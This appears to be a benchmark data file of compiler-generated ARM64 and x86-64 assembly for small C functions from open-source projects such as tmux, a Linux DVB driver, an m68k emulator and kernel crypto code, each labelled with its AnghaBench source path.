.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _ext2fs_badblocks_list_del ## -- Begin function ext2fs_badblocks_list_del .p2align 4, 0x90 _ext2fs_badblocks_list_del: ## @ext2fs_badblocks_list_del .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movl %edi, -4(%rbp) movl %esi, -8(%rbp) movl -4(%rbp), %edi movl -8(%rbp), %esi callq _ext2fs_u32_list_del addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .subsections_via_symbols
AnghaBench/rufus/src/ext2fs/extr_badblocks.c_ext2fs_badblocks_list_del.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function m68k_op_eori_16_di _m68k_op_eori_16_di: ; @m68k_op_eori_16_di .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 bl _OPER_I_16 stur w0, [x29, #-4] bl _EA_AY_DI_16 str w0, [sp, #8] ldur w8, [x29, #-4] str w8, [sp] ; 4-byte Folded Spill ldr w0, [sp, #8] bl _m68ki_read_16 ldr w8, [sp] ; 4-byte Folded Reload eor w8, w8, w0 str w8, [sp, #4] ldr w0, [sp, #8] ldr w1, [sp, #4] bl _m68ki_write_16 ldr w0, [sp, #4] bl _NFLAG_16 adrp x8, _FLAG_N@GOTPAGE ldr x8, [x8, _FLAG_N@GOTPAGEOFF] str w0, [x8] ldr w8, [sp, #4] adrp x9, _FLAG_Z@GOTPAGE ldr x9, [x9, _FLAG_Z@GOTPAGEOFF] str w8, [x9] adrp x8, _CFLAG_CLEAR@GOTPAGE ldr x8, [x8, _CFLAG_CLEAR@GOTPAGEOFF] ldr w8, [x8] adrp x9, _FLAG_C@GOTPAGE ldr x9, [x9, _FLAG_C@GOTPAGEOFF] str w8, [x9] adrp x8, _VFLAG_CLEAR@GOTPAGE ldr x8, [x8, _VFLAG_CLEAR@GOTPAGEOFF] ldr w8, [x8] adrp x9, _FLAG_V@GOTPAGE ldr x9, [x9, _FLAG_V@GOTPAGEOFF] str w8, [x9] ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .comm _FLAG_N,4,2 ; @FLAG_N .comm _FLAG_Z,4,2 ; @FLAG_Z .comm _CFLAG_CLEAR,4,2 ; @CFLAG_CLEAR .comm _FLAG_C,4,2 ; @FLAG_C .comm _VFLAG_CLEAR,4,2 ; @VFLAG_CLEAR .comm _FLAG_V,4,2 ; @FLAG_V .no_dead_strip _m68k_op_eori_16_di .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function m68k_op_eori_16_di _m68k_op_eori_16_di: ## @m68k_op_eori_16_di .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movb $0, %al callq _OPER_I_16 movl %eax, -4(%rbp) movb $0, %al callq _EA_AY_DI_16 movl %eax, -8(%rbp) movl -4(%rbp), %eax movl %eax, -16(%rbp) ## 4-byte Spill movl -8(%rbp), %edi callq _m68ki_read_16 movl %eax, %ecx movl -16(%rbp), %eax ## 4-byte Reload xorl %ecx, %eax movl %eax, -12(%rbp) movl -8(%rbp), %edi movl -12(%rbp), %esi callq _m68ki_write_16 movl -12(%rbp), %edi callq _NFLAG_16 movl %eax, %ecx movq _FLAG_N@GOTPCREL(%rip), %rax movl %ecx, (%rax) movl -12(%rbp), %ecx movq _FLAG_Z@GOTPCREL(%rip), %rax movl %ecx, (%rax) movq _CFLAG_CLEAR@GOTPCREL(%rip), %rax movl (%rax), %ecx movq _FLAG_C@GOTPCREL(%rip), %rax movl %ecx, (%rax) movq _VFLAG_CLEAR@GOTPCREL(%rip), %rax movl (%rax), %ecx movq _FLAG_V@GOTPCREL(%rip), %rax movl %ecx, (%rax) addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .comm _FLAG_N,4,2 ## @FLAG_N .comm _FLAG_Z,4,2 ## @FLAG_Z .comm _CFLAG_CLEAR,4,2 ## @CFLAG_CLEAR .comm _FLAG_C,4,2 ## @FLAG_C .comm _VFLAG_CLEAR,4,2 ## @VFLAG_CLEAR .comm _FLAG_V,4,2 ## @FLAG_V .no_dead_strip _m68k_op_eori_16_di .subsections_via_symbols
AnghaBench/Provenance/Cores/Genesis-Plus-GX/PVGenesis/Genesis/GenesisCore/genplusgx_source/m68k/extr_m68kops.h_m68k_op_eori_16_di.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function sp2_ci_op_cam _sp2_ci_op_cam: ; @sp2_ci_op_cam .cfi_startproc ; %bb.0: sub sp, sp, #128 .cfi_def_cfa_offset 128 stp x29, x30, [sp, #112] ; 16-byte Folded Spill add x29, sp, #112 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-16] stur w1, [x29, #-20] stur w2, [x29, #-24] stur w3, [x29, #-28] stur w4, [x29, #-32] stur w5, [x29, #-36] ldur x8, [x29, #-16] ldr x8, [x8] stur x8, [x29, #-48] ldur x8, [x29, #-48] ldr x8, [x8] str x8, [sp, #40] ldur w8, [x29, #-20] subs w8, w8, #0 cset w8, eq tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: adrp x8, _EINVAL@GOTPAGE ldr x8, [x8, _EINVAL@GOTPAGEOFF] ldr w9, [x8] mov w8, #0 subs w8, w8, w9 stur w8, [x29, #-4] b LBB0_19 LBB0_2: ldur x8, [x29, #-48] ldr w8, [x8, #8] ldur w9, [x29, #-24] subs w8, w8, w9 cset w8, eq tbnz w8, #0, LBB0_8 b LBB0_3 LBB0_3: ldur x0, [x29, #-48] mov w1, #0 sub x2, x29, #52 mov w3, #1 bl _sp2_read_i2c str w0, [sp, #52] ldr w8, [sp, #52] subs w8, w8, #0 cset w8, eq tbnz w8, #0, LBB0_5 b LBB0_4 LBB0_4: ldr w8, [sp, #52] stur w8, [x29, #-4] b LBB0_19 LBB0_5: adrp x8, _SP2_MOD_CTL_ACS1@GOTPAGE ldr x8, [x8, _SP2_MOD_CTL_ACS1@GOTPAGEOFF] ldr w8, [x8] adrp x9, _SP2_MOD_CTL_ACS0@GOTPAGE ldr x9, [x9, _SP2_MOD_CTL_ACS0@GOTPAGEOFF] ldr w9, [x9] orr w9, w8, w9 sub x2, x29, #52 ldur w8, [x29, #-52] bic w8, w8, w9 stur w8, [x29, #-52] ldur w9, [x29, #-24] ldur w8, [x29, #-52] orr w8, w8, w9 stur w8, [x29, #-52] ldur x0, [x29, #-48] mov w1, #0 mov w3, #1 bl _sp2_write_i2c str w0, [sp, #52] ldr w8, [sp, #52] subs w8, w8, #0 cset w8, eq tbnz w8, #0, LBB0_7 b LBB0_6 LBB0_6: ldr w8, [sp, #52] stur w8, [x29, #-4] b LBB0_19 LBB0_7: b LBB0_8 LBB0_8: ldur w8, [x29, #-24] ldur x9, [x29, #-48] str w8, [x9, #8] ldr x8, [sp, #40] subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB0_10 b LBB0_9 LBB0_9: ldr x8, [sp, #40] ldur x9, [x29, #-48] ldr x0, [x9, #16] ldur w1, [x29, #-28] ldur w2, [x29, #-32] ldur w3, [x29, #-36] add x4, sp, #56 blr x8 str w0, [sp, #52] b LBB0_11 LBB0_10: ldur x8, [x29, #-48] ldr x0, [x8, #24] adrp x1, l_.str@PAGE add x1, x1, l_.str@PAGEOFF bl _dev_err adrp x8, _EINVAL@GOTPAGE ldr x8, [x8, _EINVAL@GOTPAGEOFF] ldr w9, [x8] mov w8, #0 subs w8, w8, w9 stur w8, [x29, #-4] b LBB0_19 LBB0_11: ldr w8, [sp, #52] subs w8, w8, #0 cset w8, eq tbnz w8, #0, LBB0_13 b LBB0_12 LBB0_12: ldr w8, [sp, #52] stur w8, [x29, #-4] b LBB0_19 LBB0_13: ldur x8, [x29, #-48] ldr x8, [x8, #24] str x8, [sp, #8] ; 8-byte Folded Spill ldur w8, [x29, #-28] subs w8, w8, #0 cset w8, ne and w10, w8, #0x1 adrp x9, l_.str.3@PAGE add x9, x9, l_.str.3@PAGEOFF adrp x8, l_.str.2@PAGE add x8, x8, l_.str.2@PAGEOFF ands w10, w10, #0x1 csel x8, x8, x9, ne str x8, [sp, #16] ; 8-byte Folded Spill ldur w8, [x29, #-20] str w8, [sp, #24] ; 4-byte Folded Spill ldur w8, [x29, #-32] str w8, [sp, #28] ; 4-byte Folded Spill ldur w8, [x29, #-24] adrp x9, _SP2_CI_ATTR_ACS@GOTPAGE ldr x9, [x9, _SP2_CI_ATTR_ACS@GOTPAGEOFF] ldr w9, [x9] subs w8, w8, w9 cset w8, eq and w10, w8, #0x1 adrp x9, l_.str.5@PAGE add x9, x9, l_.str.5@PAGEOFF adrp x8, l_.str.4@PAGE add x8, x8, l_.str.4@PAGEOFF ands w10, w10, #0x1 csel x8, x8, x9, ne str x8, [sp, #32] ; 8-byte Folded Spill ldur w8, [x29, #-28] subs w8, w8, #0 cset w8, eq tbnz w8, #0, LBB0_15 b LBB0_14 LBB0_14: ldr w8, [sp, #56] str w8, [sp, #4] ; 4-byte Folded Spill b LBB0_16 LBB0_15: ldur w8, [x29, #-36] str w8, [sp, #4] ; 4-byte Folded Spill b LBB0_16 LBB0_16: ldr x5, [sp, #32] ; 8-byte Folded Reload ldr w4, [sp, #28] ; 4-byte Folded Reload ldr w3, [sp, #24] ; 4-byte Folded Reload ldr x2, [sp, #16] ; 8-byte Folded Reload ldr x0, [sp, #8] ; 8-byte Folded Reload ldr w6, [sp, #4] ; 4-byte Folded Reload adrp x1, l_.str.1@PAGE add x1, x1, l_.str.1@PAGEOFF bl _dev_dbg ldur w8, [x29, #-28] subs w8, w8, #0 cset w8, eq tbnz w8, #0, LBB0_18 b LBB0_17 LBB0_17: ldr w8, [sp, #56] stur w8, [x29, #-4] b LBB0_19 LBB0_18: stur wzr, [x29, #-4] b LBB0_19 LBB0_19: ldur w0, [x29, #-4] ldp x29, x30, [sp, #112] ; 16-byte Folded Reload add sp, sp, #128 ret .cfi_endproc ; -- End function .comm _EINVAL,4,2 ; @EINVAL .comm _SP2_MOD_CTL_ACS1,4,2 ; @SP2_MOD_CTL_ACS1 .comm _SP2_MOD_CTL_ACS0,4,2 ; @SP2_MOD_CTL_ACS0 .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "callback not defined" l_.str.1: ; @.str.1 .asciz "%s: slot=%d, addr=0x%04x, %s, data=%x" l_.str.2: ; @.str.2 .asciz "read" l_.str.3: ; @.str.3 .asciz "write" .comm _SP2_CI_ATTR_ACS,4,2 ; @SP2_CI_ATTR_ACS l_.str.4: ; @.str.4 .asciz "attr" l_.str.5: ; @.str.5 .asciz "io" .no_dead_strip _sp2_ci_op_cam .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function sp2_ci_op_cam _sp2_ci_op_cam: ## @sp2_ci_op_cam .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $128, %rsp movq %rdi, -16(%rbp) movl %esi, -20(%rbp) movl %edx, -24(%rbp) movl %ecx, -28(%rbp) movl %r8d, -32(%rbp) movl %r9d, -36(%rbp) movq -16(%rbp), %rax movq (%rax), %rax movq %rax, -48(%rbp) movq -48(%rbp), %rax movq (%rax), %rax movq %rax, -72(%rbp) cmpl $0, -20(%rbp) je LBB0_2 ## %bb.1: xorl %eax, %eax movq _EINVAL@GOTPCREL(%rip), %rcx subl (%rcx), %eax movl %eax, -4(%rbp) jmp LBB0_19 LBB0_2: movq -48(%rbp), %rax movl 8(%rax), %eax cmpl -24(%rbp), %eax je LBB0_8 ## %bb.3: movq -48(%rbp), %rdi xorl %esi, %esi leaq -52(%rbp), %rdx movl $1, %ecx callq _sp2_read_i2c movl %eax, -60(%rbp) cmpl $0, -60(%rbp) je LBB0_5 ## %bb.4: movl -60(%rbp), %eax movl %eax, -4(%rbp) jmp LBB0_19 LBB0_5: movq _SP2_MOD_CTL_ACS1@GOTPCREL(%rip), %rax movl (%rax), %eax movq _SP2_MOD_CTL_ACS0@GOTPCREL(%rip), %rcx orl (%rcx), %eax xorl $-1, %eax andl -52(%rbp), %eax movl %eax, -52(%rbp) movl -24(%rbp), %eax orl -52(%rbp), %eax movl %eax, -52(%rbp) movq -48(%rbp), %rdi xorl %esi, %esi leaq -52(%rbp), %rdx movl $1, %ecx callq _sp2_write_i2c movl %eax, -60(%rbp) cmpl $0, -60(%rbp) je LBB0_7 ## %bb.6: movl -60(%rbp), %eax movl %eax, -4(%rbp) jmp LBB0_19 LBB0_7: jmp LBB0_8 LBB0_8: movl -24(%rbp), %ecx movq -48(%rbp), %rax movl %ecx, 8(%rax) cmpq $0, -72(%rbp) je LBB0_10 ## %bb.9: movq -72(%rbp), %rax movq -48(%rbp), %rcx movq 16(%rcx), %rdi movl -28(%rbp), %esi movl -32(%rbp), %edx movl -36(%rbp), %ecx leaq -56(%rbp), %r8 callq *%rax movl %eax, -60(%rbp) jmp LBB0_11 LBB0_10: movq -48(%rbp), %rax movq 24(%rax), %rdi leaq L_.str(%rip), %rsi callq _dev_err xorl %eax, %eax movq _EINVAL@GOTPCREL(%rip), %rcx subl (%rcx), %eax movl %eax, -4(%rbp) jmp LBB0_19 LBB0_11: cmpl $0, -60(%rbp) je LBB0_13 ## %bb.12: movl -60(%rbp), %eax movl %eax, -4(%rbp) jmp LBB0_19 LBB0_13: movq -48(%rbp), %rax movq 24(%rax), %rax movq %rax, -104(%rbp) ## 8-byte Spill movl -28(%rbp), %edx leaq L_.str.3(%rip), %rax leaq L_.str.2(%rip), %rcx cmpl $0, %edx cmovneq %rcx, %rax movq %rax, -96(%rbp) ## 8-byte Spill movl -20(%rbp), %eax movl %eax, -88(%rbp) ## 4-byte Spill movl -32(%rbp), %eax movl %eax, -84(%rbp) ## 4-byte Spill movl -24(%rbp), %edx movq _SP2_CI_ATTR_ACS@GOTPCREL(%rip), %rax movl (%rax), %esi leaq L_.str.5(%rip), %rax leaq L_.str.4(%rip), %rcx cmpl %esi, %edx cmoveq %rcx, %rax movq %rax, -80(%rbp) ## 8-byte Spill cmpl $0, -28(%rbp) je LBB0_15 ## %bb.14: movl -56(%rbp), %eax movl %eax, -108(%rbp) ## 4-byte Spill jmp LBB0_16 LBB0_15: movl -36(%rbp), %eax movl %eax, -108(%rbp) ## 4-byte Spill LBB0_16: movq -80(%rbp), %r9 ## 8-byte Reload movl -84(%rbp), %r8d ## 4-byte Reload movl -88(%rbp), %ecx ## 4-byte Reload movq -96(%rbp), %rdx ## 8-byte Reload movq -104(%rbp), %rdi ## 8-byte Reload movl -108(%rbp), %eax ## 4-byte Reload leaq L_.str.1(%rip), %rsi movl %eax, (%rsp) callq _dev_dbg cmpl $0, -28(%rbp) je LBB0_18 ## %bb.17: movl -56(%rbp), %eax movl %eax, -4(%rbp) jmp LBB0_19 LBB0_18: movl $0, -4(%rbp) LBB0_19: movl -4(%rbp), %eax addq $128, %rsp popq %rbp retq .cfi_endproc ## -- End function .comm _EINVAL,4,2 ## @EINVAL .comm _SP2_MOD_CTL_ACS1,4,2 ## @SP2_MOD_CTL_ACS1 .comm _SP2_MOD_CTL_ACS0,4,2 ## @SP2_MOD_CTL_ACS0 .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "callback not defined" L_.str.1: ## @.str.1 .asciz "%s: slot=%d, addr=0x%04x, %s, data=%x" L_.str.2: ## @.str.2 .asciz "read" L_.str.3: ## @.str.3 .asciz "write" .comm _SP2_CI_ATTR_ACS,4,2 ## @SP2_CI_ATTR_ACS L_.str.4: ## @.str.4 .asciz "attr" L_.str.5: ## @.str.5 .asciz "io" .no_dead_strip _sp2_ci_op_cam .subsections_via_symbols
AnghaBench/linux/drivers/media/dvb-frontends/extr_sp2.c_sp2_ci_op_cam.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function A3XX_VPC_VARYING_PS_REPL_MODE_C0 _A3XX_VPC_VARYING_PS_REPL_MODE_C0: ; @A3XX_VPC_VARYING_PS_REPL_MODE_C0 .cfi_startproc ; %bb.0: sub sp, sp, #16 .cfi_def_cfa_offset 16 str w0, [sp, #12] ldr w8, [sp, #12] adrp x9, _A3XX_VPC_VARYING_PS_REPL_MODE_C0__SHIFT@GOTPAGE ldr x9, [x9, _A3XX_VPC_VARYING_PS_REPL_MODE_C0__SHIFT@GOTPAGEOFF] ldr w9, [x9] lsl w8, w8, w9 adrp x9, _A3XX_VPC_VARYING_PS_REPL_MODE_C0__MASK@GOTPAGE ldr x9, [x9, _A3XX_VPC_VARYING_PS_REPL_MODE_C0__MASK@GOTPAGEOFF] ldr w9, [x9] and w0, w8, w9 add sp, sp, #16 ret .cfi_endproc ; -- End function .comm _A3XX_VPC_VARYING_PS_REPL_MODE_C0__SHIFT,4,2 ; @A3XX_VPC_VARYING_PS_REPL_MODE_C0__SHIFT .comm _A3XX_VPC_VARYING_PS_REPL_MODE_C0__MASK,4,2 ; @A3XX_VPC_VARYING_PS_REPL_MODE_C0__MASK .no_dead_strip _A3XX_VPC_VARYING_PS_REPL_MODE_C0 .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function A3XX_VPC_VARYING_PS_REPL_MODE_C0 _A3XX_VPC_VARYING_PS_REPL_MODE_C0: ## @A3XX_VPC_VARYING_PS_REPL_MODE_C0 .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movl %edi, -4(%rbp) movl -4(%rbp), %eax movq _A3XX_VPC_VARYING_PS_REPL_MODE_C0__SHIFT@GOTPCREL(%rip), %rcx movl (%rcx), %ecx ## kill: def $cl killed $ecx shll %cl, %eax movq _A3XX_VPC_VARYING_PS_REPL_MODE_C0__MASK@GOTPCREL(%rip), %rcx andl (%rcx), %eax popq %rbp retq .cfi_endproc ## -- End function .comm _A3XX_VPC_VARYING_PS_REPL_MODE_C0__SHIFT,4,2 ## @A3XX_VPC_VARYING_PS_REPL_MODE_C0__SHIFT .comm _A3XX_VPC_VARYING_PS_REPL_MODE_C0__MASK,4,2 ## @A3XX_VPC_VARYING_PS_REPL_MODE_C0__MASK .no_dead_strip _A3XX_VPC_VARYING_PS_REPL_MODE_C0 .subsections_via_symbols
AnghaBench/linux/drivers/gpu/drm/msm/adreno/extr_a3xx.xml.h_A3XX_VPC_VARYING_PS_REPL_MODE_C0.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function cmd_list_windows_exec _cmd_list_windows_exec: ; @cmd_list_windows_exec .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-8] str x1, [sp, #16] ldur x8, [x29, #-8] ldr x8, [x8] str x8, [sp, #8] ldr x0, [sp, #8] mov w1, #97 bl _args_has subs x8, x0, #0 cset w8, eq tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: ldur x0, [x29, #-8] ldr x1, [sp, #16] bl _cmd_list_windows_server b LBB0_3 LBB0_2: ldur x0, [x29, #-8] ldr x8, [sp, #16] ldr w1, [x8] ldr x2, [sp, #16] mov w3, #0 bl _cmd_list_windows_session b LBB0_3 LBB0_3: adrp x8, _CMD_RETURN_NORMAL@GOTPAGE ldr x8, [x8, _CMD_RETURN_NORMAL@GOTPAGEOFF] ldr w0, [x8] ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .comm _CMD_RETURN_NORMAL,4,2 ; @CMD_RETURN_NORMAL .no_dead_strip _cmd_list_windows_exec .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function cmd_list_windows_exec _cmd_list_windows_exec: ## @cmd_list_windows_exec .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movq %rdi, -8(%rbp) movq %rsi, -16(%rbp) movq -8(%rbp), %rax movq (%rax), %rax movq %rax, -24(%rbp) movq -24(%rbp), %rdi movl $97, %esi callq _args_has cmpq $0, %rax je LBB0_2 ## %bb.1: movq -8(%rbp), %rdi movq -16(%rbp), %rsi callq _cmd_list_windows_server jmp LBB0_3 LBB0_2: movq -8(%rbp), %rdi movq -16(%rbp), %rax movl (%rax), %esi movq -16(%rbp), %rdx xorl %ecx, %ecx callq _cmd_list_windows_session LBB0_3: movq _CMD_RETURN_NORMAL@GOTPCREL(%rip), %rax movl (%rax), %eax addq $32, %rsp popq %rbp retq .cfi_endproc ## -- End function .comm _CMD_RETURN_NORMAL,4,2 ## @CMD_RETURN_NORMAL .no_dead_strip _cmd_list_windows_exec .subsections_via_symbols
AnghaBench/tmux/extr_cmd-list-windows.c_cmd_list_windows_exec.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _crypto_alloc_aead ; -- Begin function crypto_alloc_aead .p2align 2 _crypto_alloc_aead: ; @crypto_alloc_aead .cfi_startproc ; %bb.0: sub sp, sp, #64 .cfi_def_cfa_offset 64 stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x8, _CRYPTO_ALG_TYPE_MASK@GOTPAGE ldr x8, [x8, _CRYPTO_ALG_TYPE_MASK@GOTPAGEOFF] stur x0, [x29, #-16] stur w1, [x29, #-20] str w2, [sp, #24] ldr w9, [x8] adrp x10, _CRYPTO_ALG_GENIV@GOTPAGE ldr x10, [x10, _CRYPTO_ALG_GENIV@GOTPAGEOFF] ldr w11, [x10] orr w11, w9, w11 ldur w9, [x29, #-20] bic w9, w9, w11 stur w9, [x29, #-20] adrp x9, _CRYPTO_ALG_TYPE_AEAD@GOTPAGE ldr x9, [x9, _CRYPTO_ALG_TYPE_AEAD@GOTPAGEOFF] ldr w11, [x9] ldur w9, [x29, #-20] orr w9, w9, w11 stur w9, [x29, #-20] ldr w9, [x8] ldr w10, [x10] orr w10, w9, w10 ldr w9, [sp, #24] bic w9, w9, w10 str w9, [sp, #24] ldr w9, [x8] ldr w8, [sp, #24] orr w8, w8, w9 str w8, [sp, #24] b LBB0_1 LBB0_1: ; =>This Inner Loop Header: Depth=1 ldur x0, [x29, #-16] ldur w1, [x29, #-20] ldr w2, [sp, #24] bl _crypto_lookup_aead str x0, [sp] ldr x0, [sp] bl _IS_ERR subs x8, x0, #0 cset w8, eq tbnz w8, #0, LBB0_3 b LBB0_2 LBB0_2: ; in Loop: Header=BB0_1 Depth=1 ldr x0, [sp] bl _PTR_ERR str w0, [sp, #12] b LBB0_6 LBB0_3: ; in Loop: Header=BB0_1 Depth=1 ldr x0, [sp] ldur w1, [x29, #-20] ldr w2, [sp, #24] bl ___crypto_alloc_tfm str x0, [sp, #16] ldr x0, [sp, #16] bl _IS_ERR subs x8, x0, #0 cset w8, ne tbnz w8, #0, LBB0_5 b LBB0_4 LBB0_4: ldr x0, [sp, #16] bl ___crypto_aead_cast stur x0, [x29, #-8] b LBB0_12 LBB0_5: ; in Loop: Header=BB0_1 Depth=1 ldr x0, [sp] bl _crypto_mod_put ldr x0, [sp, #16] bl _PTR_ERR str w0, [sp, #12] b LBB0_6 LBB0_6: ; in Loop: Header=BB0_1 Depth=1 ldr w8, [sp, #12] adrp x9, _EAGAIN@GOTPAGE ldr x9, [x9, _EAGAIN@GOTPAGEOFF] ldr w9, [x9] adds w8, w8, w9 cset w8, eq tbnz w8, #0, LBB0_8 b LBB0_7 LBB0_7: b LBB0_11 LBB0_8: ; in Loop: Header=BB0_1 Depth=1 adrp x8, _current@GOTPAGE ldr x8, [x8, _current@GOTPAGEOFF] ldr w0, [x8] bl _signal_pending subs x8, x0, #0 cset w8, eq tbnz w8, #0, LBB0_10 b LBB0_9 LBB0_9: adrp x8, _EINTR@GOTPAGE ldr x8, [x8, _EINTR@GOTPAGEOFF] ldr w9, [x8] mov w8, #0 subs w8, w8, w9 str w8, [sp, #12] b LBB0_11 LBB0_10: ; in Loop: Header=BB0_1 Depth=1 b LBB0_1 LBB0_11: ldr w0, [sp, #12] bl _ERR_PTR stur x0, [x29, #-8] b LBB0_12 LBB0_12: ldur x0, [x29, #-8] ldp x29, x30, [sp, #48] ; 16-byte Folded Reload add sp, sp, #64 ret .cfi_endproc ; -- End function .comm _CRYPTO_ALG_TYPE_MASK,4,2 ; @CRYPTO_ALG_TYPE_MASK .comm _CRYPTO_ALG_GENIV,4,2 ; @CRYPTO_ALG_GENIV .comm _CRYPTO_ALG_TYPE_AEAD,4,2 ; @CRYPTO_ALG_TYPE_AEAD .comm _EAGAIN,4,2 ; @EAGAIN .comm _current,4,2 ; @current .comm _EINTR,4,2 ; @EINTR .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _crypto_alloc_aead ## -- Begin function crypto_alloc_aead .p2align 4, 0x90 _crypto_alloc_aead: ## @crypto_alloc_aead .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $48, %rsp movq %rdi, -16(%rbp) movl %esi, -20(%rbp) movl %edx, -24(%rbp) movq _CRYPTO_ALG_TYPE_MASK@GOTPCREL(%rip), %rax movl (%rax), %eax movq _CRYPTO_ALG_GENIV@GOTPCREL(%rip), %rcx orl (%rcx), %eax xorl $-1, %eax andl -20(%rbp), %eax movl %eax, -20(%rbp) movq _CRYPTO_ALG_TYPE_AEAD@GOTPCREL(%rip), %rax movl (%rax), %eax orl -20(%rbp), %eax movl %eax, -20(%rbp) movq _CRYPTO_ALG_TYPE_MASK@GOTPCREL(%rip), %rax movl (%rax), %eax movq _CRYPTO_ALG_GENIV@GOTPCREL(%rip), %rcx orl (%rcx), %eax xorl $-1, %eax andl -24(%rbp), %eax movl %eax, -24(%rbp) movq _CRYPTO_ALG_TYPE_MASK@GOTPCREL(%rip), %rax movl (%rax), %eax orl -24(%rbp), %eax movl %eax, -24(%rbp) LBB0_1: ## =>This Inner Loop Header: Depth=1 movq -16(%rbp), %rdi movl -20(%rbp), %esi movl -24(%rbp), %edx callq _crypto_lookup_aead movq %rax, -48(%rbp) movq -48(%rbp), %rdi callq _IS_ERR cmpq $0, %rax je LBB0_3 ## %bb.2: ## in Loop: Header=BB0_1 Depth=1 movq -48(%rbp), %rdi callq _PTR_ERR movl %eax, -36(%rbp) jmp LBB0_6 LBB0_3: ## in Loop: Header=BB0_1 Depth=1 movq -48(%rbp), %rdi movl -20(%rbp), %esi movl -24(%rbp), %edx callq ___crypto_alloc_tfm movq %rax, -32(%rbp) movq -32(%rbp), %rdi callq _IS_ERR cmpq $0, %rax jne LBB0_5 ## %bb.4: movq -32(%rbp), %rdi callq ___crypto_aead_cast movq %rax, -8(%rbp) jmp LBB0_12 LBB0_5: ## in Loop: Header=BB0_1 Depth=1 movq -48(%rbp), %rdi callq _crypto_mod_put movq -32(%rbp), %rdi callq _PTR_ERR movl %eax, -36(%rbp) LBB0_6: ## in Loop: Header=BB0_1 Depth=1 movl -36(%rbp), %eax xorl %ecx, %ecx movq _EAGAIN@GOTPCREL(%rip), %rdx subl (%rdx), %ecx cmpl %ecx, %eax je LBB0_8 ## %bb.7: jmp LBB0_11 LBB0_8: ## in Loop: Header=BB0_1 Depth=1 movq _current@GOTPCREL(%rip), %rax movl (%rax), %edi callq _signal_pending cmpq $0, %rax je LBB0_10 ## %bb.9: xorl %eax, %eax movq _EINTR@GOTPCREL(%rip), %rcx subl (%rcx), %eax movl %eax, -36(%rbp) jmp LBB0_11 LBB0_10: ## in Loop: Header=BB0_1 Depth=1 jmp LBB0_1 LBB0_11: movl -36(%rbp), %edi callq _ERR_PTR movq %rax, -8(%rbp) LBB0_12: movq -8(%rbp), %rax addq $48, %rsp popq %rbp retq .cfi_endproc ## -- End function .comm _CRYPTO_ALG_TYPE_MASK,4,2 ## @CRYPTO_ALG_TYPE_MASK .comm _CRYPTO_ALG_GENIV,4,2 ## @CRYPTO_ALG_GENIV .comm _CRYPTO_ALG_TYPE_AEAD,4,2 ## @CRYPTO_ALG_TYPE_AEAD .comm _EAGAIN,4,2 ## @EAGAIN .comm _current,4,2 ## @current .comm _EINTR,4,2 ## @EINTR .subsections_via_symbols
AnghaBench/fastsocket/kernel/crypto/extr_aead.c_crypto_alloc_aead.c
